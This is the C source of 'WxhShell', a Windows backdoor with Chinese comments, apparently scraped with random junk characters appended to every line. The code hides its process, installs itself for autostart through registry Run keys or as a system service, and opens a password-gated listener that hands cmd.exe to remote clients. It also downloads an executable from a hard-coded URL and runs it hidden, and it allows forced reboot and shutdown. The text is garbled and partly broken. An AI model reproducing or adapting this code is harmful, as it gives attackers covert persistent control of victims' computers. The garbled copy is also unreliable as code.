    if(Boot(SHUTDOWN)) d'D\#+%> =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l_EI7mJ  
    else { A2S9h,t  
    closesocket(wsh); =_3qUcOP  
    ExitThread(0); vH8%a8V  
    } <-aI%'?*  
    break; TnAX;+u  
    }  p$v +L  
  // 获取shell ,KaWP  
  case 's': { EOC"a}Cq-  
    CmdShell(wsh); YNk|UwJi  
    closesocket(wsh); ZM!~M>B9R  
    ExitThread(0); Jx?>1q=M  
    break; #C}(7{Vt  
  } OUMr}~/  
  // 退出 l))IO`s=_  
  case 'x': { 63$m& ]x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); essW,2,rjC  
    CloseIt(wsh); Z_+No :F7I  
    break; 4/_|Qy  
    } zf u78  
  // 离开 (DAJ(r~  
  case 'q': { 5)6%D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +06j+I  
    closesocket(wsh); lNAHn<ht  
    WSACleanup(); gu&oCT  
    exit(1); ij5YV3  
    break; KR0 x[#.*  
        } %Ski5q  
  } i*j+<R@  
  } `h6W@ROb  
INpub 5  
  // 提示信息 " z{w^k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _r'M^=yx[  
} 3J<,2  
  } {Wo7=aR  
1fZ:^|\  
  return; &.B6P|N'  
} IrC=9%pd$R  
L;`t%1  
// shell模块句柄 k6S<46}h|  
int CmdShell(SOCKET sock) O?Tg`]EX  
{ Z]d]RL&r  
STARTUPINFO si;  qI@_  
ZeroMemory(&si,sizeof(si)); 2=EKAg=S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [%kucGC7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _TF>c:m3  
PROCESS_INFORMATION ProcessInfo; ls Ch K  
char cmdline[]="cmd"; gZv <_0N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hc9pWr "N  
  return 0; EVsZ:Ra^k  
} 9_{!nQC.g  
[DwB7l)O(  
// 自身启动模式 g(k|"g`*  
int StartFromService(void) RUKSGj_NJ  
{ ^ EOjq  
typedef struct -&}E:zoe  
{ OFv} jT  
  DWORD ExitStatus; Q2Rj0E`  
  DWORD PebBaseAddress; )/'s& D  
  DWORD AffinityMask; ^cm^JyS)  
  DWORD BasePriority; ri ~2t3gg  
  ULONG UniqueProcessId; z^.0eP8\j  
  ULONG InheritedFromUniqueProcessId; y rk#)@/m  
}   PROCESS_BASIC_INFORMATION; flqTx)xE  
5@ug1F&   
PROCNTQSIP NtQueryInformationProcess; Q #gHD  
X$f%Ss  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .EO1{2=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )VC) }  
PQ>JoRs  
  HANDLE             hProcess; T^_9R;  
  PROCESS_BASIC_INFORMATION pbi; nCU4a1rZ  
L_,U*Jyo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jLSZ#H  
  if(NULL == hInst ) return 0; hLRQ)  
Z]<_a)>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <h({+N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L%FL{G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hr5)$qZW  
43XuQg4  
  if (!NtQueryInformationProcess) return 0; wG O)!u 4  
#eYVZ=E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oWmla*nCKL  
  if(!hProcess) return 0; j7&l&)5  
{Y Ymt!Ic  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +zsya4r  
$]FWpr%)  
  CloseHandle(hProcess); uc_ X;M;  
MXb(Z9)]kw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |k+^D:  
if(hProcess==NULL) return 0; pC6_ jIZ  
/V&Y@j  
HMODULE hMod; kN)ev?pQ[  
char procName[255]; GSp1,E2J  
unsigned long cbNeeded; e 3K  
8T4J^6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PJ{.jWwD  
_Gu ;U@  
  CloseHandle(hProcess); |Bp?"8%*l  
/!hW6u5  
if(strstr(procName,"services")) return 1; // 以服务启动 $Tg$FfD6&  
C7#$s<>TO  
  return 0; // 注册表启动 q)*0G*  
} ArY'NE\Htt  
Z>l>@wNm  
// 主模块 4rm/+Zes  
int StartWxhshell(LPSTR lpCmdLine) cu-WY8n  
{ K_i2%t3  
  SOCKET wsl; jKzj Tn9{E  
BOOL val=TRUE; \1Zf Sc  
  int port=0; qb Q> z+c  
  struct sockaddr_in door; )n.peZ  
P]n ' q  
  if(wscfg.ws_autoins) Install(); S~T[*Z/m  
=u(fP" |{  
port=atoi(lpCmdLine); yFSL7`p+  
^|Y!NHYH$Z  
if(port<=0) port=wscfg.ws_port; fOVRtSls  
z?PF9QL1  
  WSADATA data; B !XT:.+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DxlX-  
{)mlXo(On  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,O}zgf*H;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b7-a0zaN  
  door.sin_family = AF_INET; QUt!fF@t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 157X0&EX  
  door.sin_port = htons(port); pPE4~g 05h  
W>~V?%F&'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X\;y;pmRH  
closesocket(wsl); P.o W#Je  
return 1; mS0W@#|K  
} Wh,kJis<  
@9-qqU@  
  if(listen(wsl,2) == INVALID_SOCKET) { 4t":WutC  
closesocket(wsl); (< h,R@:  
return 1; "P6MLf1  
} /=N`P &R#  
  Wxhshell(wsl); <XNLeJdY  
  WSACleanup(); y.zW>Mfl  
{ }z7N~  
return 0; r* U6govky  
PJ'l:IU  
} B4kIcHA  
O'k"6sBb  
// 以NT服务方式启动 b#sO1MXv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FW2} 9#R  
{ OHU(?TBo  
DWORD   status = 0; >a<;)K^1  
  DWORD   specificError = 0xfffffff; \?j(U8mB>  
;/v^@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u>BR WN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %vW@_A~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PYZ8@G  
  serviceStatus.dwWin32ExitCode     = 0; kW"N~Xw)  
  serviceStatus.dwServiceSpecificExitCode = 0; m`/OO;/;  
  serviceStatus.dwCheckPoint       = 0; s SDBl~g  
  serviceStatus.dwWaitHint       = 0; 0:XmReO+k  
6Pz\6DU,I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d$!ibL#o  
  if (hServiceStatusHandle==0) return; y=t -/*K  
8W{R&Z7aL  
status = GetLastError(); &:rf80`z.  
  if (status!=NO_ERROR) EB \\ F  
{ R7#B_^ $  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J&Ah52  
    serviceStatus.dwCheckPoint       = 0; n}"MF>zDK  
    serviceStatus.dwWaitHint       = 0; +p2)uXqW  
    serviceStatus.dwWin32ExitCode     = status; hQ9VcS6=gD  
    serviceStatus.dwServiceSpecificExitCode = specificError; j:0z/gHp$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` sSI;+  
    return; k]Yd4CC2  
  } q N>j2~  
*p"%cas  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; % 74}H8q_z  
  serviceStatus.dwCheckPoint       = 0; k3&Wv  
  serviceStatus.dwWaitHint       = 0; ;aSEv"iWX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K#>B'>A\  
} gD-<^Q-  
bS*9eX=K  
// 处理NT服务事件,比如:启动、停止 >6c{CYuT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #<{sP 0v*  
{ cG.4%Va@s_  
switch(fdwControl) +BESO  
{ Lx.X#n.]T  
case SERVICE_CONTROL_STOP: RJ`F2b sYN  
  serviceStatus.dwWin32ExitCode = 0; -0Ps. B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '2eggX%  
  serviceStatus.dwCheckPoint   = 0; [l0>pHl@  
  serviceStatus.dwWaitHint     = 0; 4g|}]K1s  
  { FbF P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WHL@]^E@m  
  } qTG/7tn "  
  return; \j4TDCs_[  
case SERVICE_CONTROL_PAUSE: s q_ f[!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OF}vY0oiw?  
  break; z&w@67 >j  
case SERVICE_CONTROL_CONTINUE: LKhUqW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LBTf}T\  
  break; 'Je;3"@  
case SERVICE_CONTROL_INTERROGATE: XLB7 E  
  break; )Zox;}WK+  
}; O9bIo]B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kIyif7  
} mk}8Cu4  
@I9A"4Im  
// 标准应用程序主函数 ->d 3FR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) svN& ~@ l  
{ y6f YNB  
}5EvBEv-)  
// 获取操作系统版本 _qr?v=,-A  
OsIsNt=GetOsVer(); s_/ CJ6s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :U=*@p4?  
dW6sA65<Y  
  // 从命令行安装 Q/I/>6M7UZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); H+` Zp  
Pa+%H]vB  
  // 下载执行文件 {;q zz9 |  
if(wscfg.ws_downexe) { "d% o%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Nzf tc  
  WinExec(wscfg.ws_filenam,SW_HIDE); ) }(Po_  
} 51xiX90D  
w=,bF$:fIW  
if(!OsIsNt) { S/V%<<[>p]  
// 如果时win9x,隐藏进程并且设置为注册表启动 1GE[*$vuq  
HideProc(); =XVw{\#9 b  
StartWxhshell(lpCmdLine); + JsMYv  
} tw,uV)xm  
else FG/1!8F  
  if(StartFromService()) Ko: <@h  
  // 以服务方式启动 !Wgi[VB  
  StartServiceCtrlDispatcher(DispatchTable); !ap}+_IA7^  
else Ejmpg_kux  
  // 普通方式启动 Pd)mLs Jg  
  StartWxhshell(lpCmdLine); 3VaL%+T$,  
3%P<F>6 J  
return 0; Cs))9'cD]  
} c~SR@ZU  
 Z/RSZ-  
s^#B*  
#ozui-u>  
=========================================== 5<YV`T{5Kl  
yvv]iRk<  
yw\Q>~$n[=  
_\;0E!=p  
E%LUJx}  
.~u[rc|<  
" 6Z.Fyte  
%vUY|3G  
#include <stdio.h> I'}&s|6  
#include <string.h> JV ydTvc  
#include <windows.h> Q`kV| pjg  
#include <winsock2.h> IK1'" S|  
#include <winsvc.h> H%pD9'q~  
#include <urlmon.h> 2{|Z?3FJ^  
DaP,3>M  
#pragma comment (lib, "Ws2_32.lib") AT%6K.  
#pragma comment (lib, "urlmon.lib") $+w:W85B  
T5|e\<l  
#define MAX_USER   100 // 最大客户端连接数 CVE(N/&b  
#define BUF_SOCK   200 // sock buffer 5:|9pe)  
#define KEY_BUFF   255 // 输入 buffer Np7+g`nG  
,Wv+Ek  
#define REBOOT     0   // 重启 ~[<C6{  
#define SHUTDOWN   1   // 关机 #zRHYZc'T|  
fYSH]!  
#define DEF_PORT   5000 // 监听端口 galzk$D  
LY-,cXm&|  
#define REG_LEN     16   // 注册表键长度 zG{P5@:.R  
#define SVC_LEN     80   // NT服务名长度 9A~w2z\G  
rtNYX=P  
// 从dll定义API iYD5~pK8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e.\dqt~%y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <p/zm}?')  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DG?g~{Y~b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -U*J5Q  
Qo32oT[DM  
// wxhshell配置信息 ,BUrZA2\U$  
struct WSCFG { ;.'?(iEB  
  int ws_port;         // 监听端口 ulE5lG0c  
  char ws_passstr[REG_LEN]; // 口令  LAkBf  
  int ws_autoins;       // 安装标记, 1=yes 0=no PriLV4?  
  char ws_regname[REG_LEN]; // 注册表键名 @Bds0t  
  char ws_svcname[REG_LEN]; // 服务名 4M#i_.`z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S /"G=^~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 By waD?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,~q:rh+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oqAO@<dL!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  & .0A%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yIhPB8QL  
s]]lB018O\  
}; ;4l8Qg 7  
9 ,:#Q<UM  
// default Wxhshell configuration k@ <dru  
struct WSCFG wscfg={DEF_PORT, -L +kt_>  
    "xuhuanlingzhe", ,OWk[0/  
    1, UB/"&I uo  
    "Wxhshell", -0UR%R7q  
    "Wxhshell", .fbY2b([  
            "WxhShell Service", ?5FlbiT  
    "Wrsky Windows CmdShell Service", A 0v=7 ]  
    "Please Input Your Password: ",  9u^M{6  
  1, )X?oBNsj  
  "http://www.wrsky.com/wxhshell.exe", /78]u^SW  
  "Wxhshell.exe" ((C|&$@M  
    }; /{f"0]-RA  
q8_(P&  
// 消息定义模块 3CgID6[Sy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +j{(NwsX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SV@*[r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qCg<g  
char *msg_ws_ext="\n\rExit."; 9w- )??  
char *msg_ws_end="\n\rQuit."; D6A u)1y=&  
char *msg_ws_boot="\n\rReboot..."; .u>[m.  
char *msg_ws_poff="\n\rShutdown..."; D%~tU70a  
char *msg_ws_down="\n\rSave to "; 7mq&]4-G  
.<zKBv  
char *msg_ws_err="\n\rErr!"; d\uN  
char *msg_ws_ok="\n\rOK!"; =WjHf8v;  
LD ]-IX&L  
char ExeFile[MAX_PATH];  V1B!5N<  
int nUser = 0; 5mQ@&E~#W  
HANDLE handles[MAX_USER]; mFg$;F  
int OsIsNt; U|]cB  
g'KxjjYT,  
SERVICE_STATUS       serviceStatus; ffG<hclk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PJiU2Y33  
o`QNZN7/}  
// 函数声明 x(._?5  
int Install(void); E{EO9EI  
int Uninstall(void); KJRAW]?{  
int DownloadFile(char *sURL, SOCKET wsh); & ?xR  
int Boot(int flag); 0S^&A?$=  
void HideProc(void); qmFG  
int GetOsVer(void); kL%ot<rt)w  
int Wxhshell(SOCKET wsl); 0CX,"d_T,  
void TalkWithClient(void *cs); ]o8]b7-  
int CmdShell(SOCKET sock); Bhxs(NO  
int StartFromService(void); yI 2UmhA  
int StartWxhshell(LPSTR lpCmdLine); 3l%Qd<  
5afD;0D5TI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Sp492W+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9T;4aP>6j#  
k?Z:=.YW  
// 数据结构和表定义 <Cv(@A->  
SERVICE_TABLE_ENTRY DispatchTable[] = [K&%l]P7  
{ [ N|X  
{wscfg.ws_svcname, NTServiceMain}, !{g<RS( c  
{NULL, NULL} 4d`YZNvZW/  
}; qFD ZD)K  
3Rc*vVnI  
// 自我安装 4~,Z 'k  
int Install(void) d #1Y^3n  
{ H"FK(N\  
  char svExeFile[MAX_PATH]; sqrLys_S  
  HKEY key; l::q F 0  
  strcpy(svExeFile,ExeFile); QQBh)5F  
QkBw59L7  
// 如果是win9x系统,修改注册表设为自启动 J-hJqR*;K  
if(!OsIsNt) { Jqj!k*=/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H:@hCO[a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >E>yA d  
  RegCloseKey(key); HEBeJ2w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q7X#LYk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8cG?p  
  RegCloseKey(key); @ j^R+F  
  return 0; Z1eT> 6|]r  
    } c,4~zN8Ou  
  } -g@!\{  
} 7q+D}+ Xf  
else { 6;Z -Y>\c  
bZ\R0[0  
// 如果是NT以上系统,安装为系统服务 s0/O/G?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $D1ha CL  
if (schSCManager!=0) itg_+%^R  
{ qD{1X25O  
  SC_HANDLE schService = CreateService 5tYo! f  
  ( (-gomn  
  schSCManager, h^SWb9 1"G  
  wscfg.ws_svcname, f' ?/P~[  
  wscfg.ws_svcdisp, Q#\Nhc  
  SERVICE_ALL_ACCESS, d5$D[,`1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t>[W]%op  
  SERVICE_AUTO_START, V`y^m@U!  
  SERVICE_ERROR_NORMAL, VHxBs  
  svExeFile, 4rU/2}. q  
  NULL, ( zWBrCX  
  NULL, Nap[=[rv  
  NULL, =6u@ JpOl  
  NULL, `}EnY@*h  
  NULL krUtOVI  
  ); CRK%^3g  
  if (schService!=0) <rBW6o7  
  { ij ?7MP  
  CloseServiceHandle(schService); 'XK 'T\m  
  CloseServiceHandle(schSCManager); g&s. 0+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N1$u@P{  
  strcat(svExeFile,wscfg.ws_svcname); ,^:{!?v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JT?u[p Q^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d=D-s  
  RegCloseKey(key);  k,:W]KD  
  return 0; )2&3D"V  
    } tm+*ik=x|  
  } pey=zR!  
  CloseServiceHandle(schSCManager); G?s9c0f  
} o;$xN3f,  
} 'JOUx_@z  
Q;]JVT1  
return 1; KqK]R6>  
} Ymz/:  
YzESV Th  
// 自我卸载 p F{jIXu  
int Uninstall(void) [Fl_R[o  
{ C[L 5H  
  HKEY key; NoiB9 8g  
EhxpMTS  
if(!OsIsNt) { ?9`j1[0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1Gsh%0r3  
  RegDeleteValue(key,wscfg.ws_regname); 2_q/<8t  
  RegCloseKey(key); V$?6%\M^*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W/qXQORv  
  RegDeleteValue(key,wscfg.ws_regname); KN}#8.'>3  
  RegCloseKey(key); E_ wVAz3  
  return 0; j%6p:wDl  
  } !"N,w9MbD  
} /6 ')B !&  
} yaR>?[h  
else { 2lTt  
}J#HIE\RG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]l,D,d81  
if (schSCManager!=0) "^#O7.oVi+  
{ zjmo IE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P~j#8cH7  
  if (schService!=0) Bgxk>Y  
  { , Y:oTo=~  
  if(DeleteService(schService)!=0) { ,Kv6!ib6Q  
  CloseServiceHandle(schService); # EvRm  
  CloseServiceHandle(schSCManager); 7m2iL#5[  
  return 0; uj8saNu  
  } QTHY{:Rmu  
  CloseServiceHandle(schService); t\M6 d6  
  } eC-&.Fl  
  CloseServiceHandle(schSCManager);  NNt n  
} 90vWqL!  
} ZFtx&vr P  
T8S&9BM7  
return 1; L1SX2F8  
} ?w:\0j5 ~  
k4'] q  
// 从指定url下载文件 i]ZGq7YJ%  
int DownloadFile(char *sURL, SOCKET wsh) U1YqyG8  
{ .RroO_H   
  HRESULT hr; 7h\is  
char seps[]= "/"; "Hw%@]#  
char *token; RdX+:!lD  
char *file; tK3$,9+  
char myURL[MAX_PATH]; MSCH6R"5  
char myFILE[MAX_PATH]; \l/(L5gY  
d:'{h"M6  
strcpy(myURL,sURL); u`XRgtI{g?  
  token=strtok(myURL,seps);  zK6w0  
  while(token!=NULL) q /JC\  
  { 9C7Npf?~M  
    file=token; R>bg3j  
  token=strtok(NULL,seps); .q 2r!B  
  } Bl+\|[yd  
uuM1_nD[  
GetCurrentDirectory(MAX_PATH,myFILE); y3efie {J  
strcat(myFILE, "\\"); OLx;j+p  
strcat(myFILE, file); }ILBX4c  
  send(wsh,myFILE,strlen(myFILE),0); 2hHRitt36  
send(wsh,"...",3,0); WOO3z5 La  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L(3&,!@  
  if(hr==S_OK) "]eB2k_>  
return 0; T6/P54S  
else U6-47m0%  
return 1; Mi.#x_  
.rBU"Rbo  
} 0Z2XVq~T$  
;-3&yQ7N)  
// 系统电源模块 X5o*8Bg4M  
int Boot(int flag) q7CLxv &QG  
{ pLu5x<  
  HANDLE hToken; aVR!~hvFs  
  TOKEN_PRIVILEGES tkp; "~VKUvDu  
T={!/y+  
  if(OsIsNt) { k~ )CJ6}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tgpu9V6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >~,~X9   
    tkp.PrivilegeCount = 1; X@kgc&`0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y2VfJ}%Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Tf#Op v)  
if(flag==REBOOT) { ./I?|ih  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :Quep-:fy<  
  return 0; #H6YI3 `G  
} y{M7kYWtHV  
else { r 1HG$^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P].Eb7I  
  return 0; >~ *wPoW  
} ,|*Gr"Q=  
  } "EpH02{i  
  else { ,x\qYz+7|  
if(flag==REBOOT) { q]1p Q)\'p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *$O5.`]  
  return 0; Lx_Jw\YO  
} oLkzLJ  
else { g{Av =66Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ASdW!4.p  
  return 0; =R:O`qdC4e  
} >,Y+ 1  
} !n;3jAl&$  
fln[Q2zl  
return 1; w7` pbcY,  
} S0StC$$1  
_p"u~j~%-  
// win9x进程隐藏模块 U?dad}7  
void HideProc(void) 6Gg`ExcT5  
{ 1Xi>&;],  
[Q:mq=<Z%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =oVC*b  
  if ( hKernel != NULL ) a( ~X  
  { @(c^u;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;39b.v\^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hya.OW{  
    FreeLibrary(hKernel); |fyzb=Lg  
  } )@9Eq|jMC  
^/2HH  
return; gdCit-3  
} >&\.{ aj  
?<F([(  
// 获取操作系统版本 &IXmy-w  
int GetOsVer(void) CA|l| t^  
{ u3 Z]!l  
  OSVERSIONINFO winfo; [f:&aS+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~rb]u Ny-  
  GetVersionEx(&winfo); `}`Qqv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PK|qiu-O&*  
  return 1; bLS10^g5  
  else q0q-Coh>  
  return 0; VsTgK  
} )o:sDj`b]  
8N)Lck2PR  
// 客户端句柄模块 Cgln@Rz  
int Wxhshell(SOCKET wsl) K. B\F)K  
{ dfAw\7v/  
  SOCKET wsh; l1kHFeq  
  struct sockaddr_in client; db_Qt'>  
  DWORD myID; }Tk:?U{  
:YRHO|  
  while(nUser<MAX_USER) ea O'|@;{~  
{ rMVcoO@3  
  int nSize=sizeof(client); #yIHr&'oX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u ]y[g  
  if(wsh==INVALID_SOCKET) return 1; '0 ~?zP  
'DXT7|Df  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h<M1q1)  
if(handles[nUser]==0) 2!LDrvPP  
  closesocket(wsh); 3{.]!   
else f"gYXaVF+  
  nUser++; y=pW+$k  
  } MB:[: nX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \^0>h`[  
(xvg.Nby  
  return 0; Q7e4MKy7  
}  6p@[U>`  
nCwA8AG  
// 关闭 socket uO]|YF  
void CloseIt(SOCKET wsh) vn*K\,  
{ J|hVD  
closesocket(wsh); ELV~ ayp5  
nUser--; wZ0bD&B  
ExitThread(0); YJ6:O{AL1  
} w:nH_x#C4  
U]+IP;YS  
// 客户端请求句柄 Ohgu*5!o  
void TalkWithClient(void *cs) oMemF3M  
{ UhDf6A`]  
(;=|2N>7  
  SOCKET wsh=(SOCKET)cs; "*/IP9?]  
  char pwd[SVC_LEN]; e wT K2  
  char cmd[KEY_BUFF]; dh%O {t  
char chr[1]; >Q<XyAH~  
int i,j; BPkL3Ev1V  
-rYb{<;ST  
  while (nUser < MAX_USER) { U/PNEGuQ  
}|/A &c  
if(wscfg.ws_passstr) { Z  #  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6:S, {@G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MCTJ^g"D  
  //ZeroMemory(pwd,KEY_BUFF); D^>d<LX  
      i=0; zqrqbqK5R  
  while(i<SVC_LEN) { ^w%%$9=:r  
b3_P??yp  
  // 设置超时 3n)Kzexh  
  fd_set FdRead; '/XP4B\(E  
  struct timeval TimeOut; .|u`s,\  
  FD_ZERO(&FdRead); ,[ppETz  
  FD_SET(wsh,&FdRead); UAz^P6iQ`~  
  TimeOut.tv_sec=8; E@otV6Wk[@  
  TimeOut.tv_usec=0; {S+?n[1r\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D=vw0Q_3Y3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4~A$u^scn  
qLX<[UL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .3UJ*^(?  
  pwd=chr[0]; I74Rw*fB  
  if(chr[0]==0xd || chr[0]==0xa) { Y|b,pC|,  
  pwd=0; ^ )"Il  
  break; CG@Fn\J  
  } ,]yS BAO  
  i++; q9_AL8_  
    } l]D $QT3  
yKrb GK*=_  
  // 如果是非法用户,关闭 socket {hOS0).(w7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :zo5`[P  
} xx1lEcj  
KwMt@1Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fhllqh)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y@$E5sz  
l=" X|t   
while(1) { dHiir&Rd9`  
YCStX)r  
  ZeroMemory(cmd,KEY_BUFF); GPGP teC  
H-&27?s^  
      // 自动支持客户端 telnet标准   ^Os }sJ*5S  
  j=0; Qp[ Jw?a  
  while(j<KEY_BUFF) { p),* 4@2<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E0VAhN3G\  
  cmd[j]=chr[0]; u59l)8=  
  if(chr[0]==0xa || chr[0]==0xd) { FXY>o>K%h  
  cmd[j]=0; 8<0P Ssx  
  break; P 0+@,kM  
  } <]%6x[  
  j++; WY>$.e  
    }  h#}w18l  
x ~)~v?>T  
  // 下载文件 />8A?+g9u  
  if(strstr(cmd,"http://")) { V&ETt.91Ft  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <)LR  
  if(DownloadFile(cmd,wsh)) V.$tq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); urkuG4cY  
  else &0[ L2x}7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Opf)TAl{  
  } (O(TFE5^  
